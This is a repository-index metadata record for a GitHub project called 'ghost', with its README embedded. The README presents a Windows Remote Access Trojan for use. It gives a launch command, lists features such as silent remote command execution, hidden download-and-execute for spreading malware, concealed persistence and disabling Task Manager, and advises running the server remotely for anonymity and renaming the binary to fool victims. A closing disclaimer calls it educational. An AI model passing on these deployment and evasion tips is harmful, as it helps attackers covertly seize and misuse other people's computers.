{"id":13441306,"url":"https://github.com/AHXR/ghost","last_synced_at":"2025-03-20T11:38:16.637Z","repository":{"id":41519396,"uuid":"113692805","full_name":"AHXR/ghost","owner":"AHXR","description":":ghost: RAT (Remote Access Trojan) - Silent Botnet - Full Remote Command-Line Access - Download \u0026 Execute Programs - Spread Virus' \u0026 Malware","archived":false,"fork":false,"pushed_at":"2021-06-03T17:21:55.000Z","size":1462,"stargazers_count":821,"open_issues_count":17,"forks_count":211,"subscribers_count":34,"default_branch":"master","last_synced_at":"2024-08-01T03:33:59.063Z","etag":null,"topics":["backdoor","botnet","hacking","malware","rat","remote","remote-access","remote-access-tool","remote-access-trojan","trojan","windows"],"latest_commit_sha":null,"homepage":"","language":"C++","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/AHXR.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2017-12-09T18:46:03.000Z","updated_at":"2024-07-28T21:47:15.000Z","dependencies_parsed_at":"2022-07-18T08:13:14.163Z","dependency_job_id":null,"html_url":"https://github.com/AHXR/ghost","commit_stats":null,"previous_names":[],"tags_count":7,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AHXR%2Fghost","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AHXR%2Fghost/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AHXR%2Fghost/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AHXR%2Fghost/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/AHXR","download_url":"https://codeload.github.com/AHXR/ghost/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":221759950,"owners_count":16876323,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["backdoor","botnet","hacking","malware","rat","remote","remote-access","remote-access-tool","remote-access-trojan","trojan","windows"],"created_at":"2024-07-31T03:01:32.296Z","updated_at":"2024-10-28T01:30:29.192Z","avatar_url":"https://github.com/AHXR.png","language":"C++","readme":"# ghost\n\n\u003cp align=\"center\"\u003e\n\t\u003cimg src=\"https://i.imgur.com/NDCXXgD.jpg\" /\u003e\n\u003c/p\u003e\n\n---\n\n**ghost** is a light [RAT](http://searchsecurity.techtarget.com/definition/RAT-remote-access-Trojan) that gives the server/attacker full remote access to the user's command-line interpreter (cmd.exe).\nThey are allowed to execute commands silently without the client/zombie noticing. The server/attacker is also given the ability to download and execute files on the client/zombie's computer. This is also\na silent and hidden process. Like most Remote Access Trojans, this download and execution ability helps distribute viruses and other pieces of malware.\n\nThis malware is distributed simply by running *zombie.exe*. This file name can be changed to whatever. There is no restriction. When run, it searches for the first two arguments (IP \u0026 Port). If neither\nis provided, the program doesn't run. With that being said, make sure you provide the server's IP and Port in the command-line arguments. Example:\n\n```\nzombie.exe 127.0.0.1 27015\n```\n\n#### Bot Features\n\n- Remote command execution \n- Silent background process\n- Download and run file (Hidden)\n- Safe Mode startup\n- Will automatically connect to the server\n- Data sent and received is encrypted (substitution cipher)\n- Files are hidden\n- Installed Antivirus shown to server\n- Easily spread malware through download feature\n- Startup info doesn't show in msconfig or other startup checking programs like CCleaner\n- Disable Task Manager\n\n---\n\nWhen successfully started, it adds itself to the start-up pool and runs silently in the background. It will try to repeatedly connect to the server. This process does not hog any memory or CPU usage.\nThis means that the zombie will silently just idle in the background and whenever the server is up, it will automatically connect.\n\n\u003cp align=\"center\"\u003e\n\t\u003cimg src=\"https://i.imgur.com/W5aC6rg.png\" /\u003e\n\u003c/p\u003e\n\nWhen starting the server, it will prompt for you a listening port. This is the port that you need to use in the command-line for zombie.exe. Once you provide the port, your server information will be\nprovided and the menu will be down. The IP address provided is your external IP. With that being said, unless the client/zombie is actively looking and tracking open connections, it will probably be \nsmart to run this server under a remote location if you want to stay anonymous. If this does not interest you, simply renaming zombie.exe and/or changing the assembly information using a tool will \nlikely fool the client/zombie.\n\n**Note**: This project was only made for education purposes and to test out my recently published repositories ([ahxrlogger](https://github.com/AHXR/ahxrlogger) \u0026 [ahxrsocket](https://github.com/AHXR/ahxrwinsocket)). If you choose to use this for malicious reasons, you are completely responsible for the outcome.","funding_links":[],"categories":["C++","backdoor"],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FAHXR%2Fghost","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FAHXR%2Fghost","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FAHXR%2Fghost/lists"}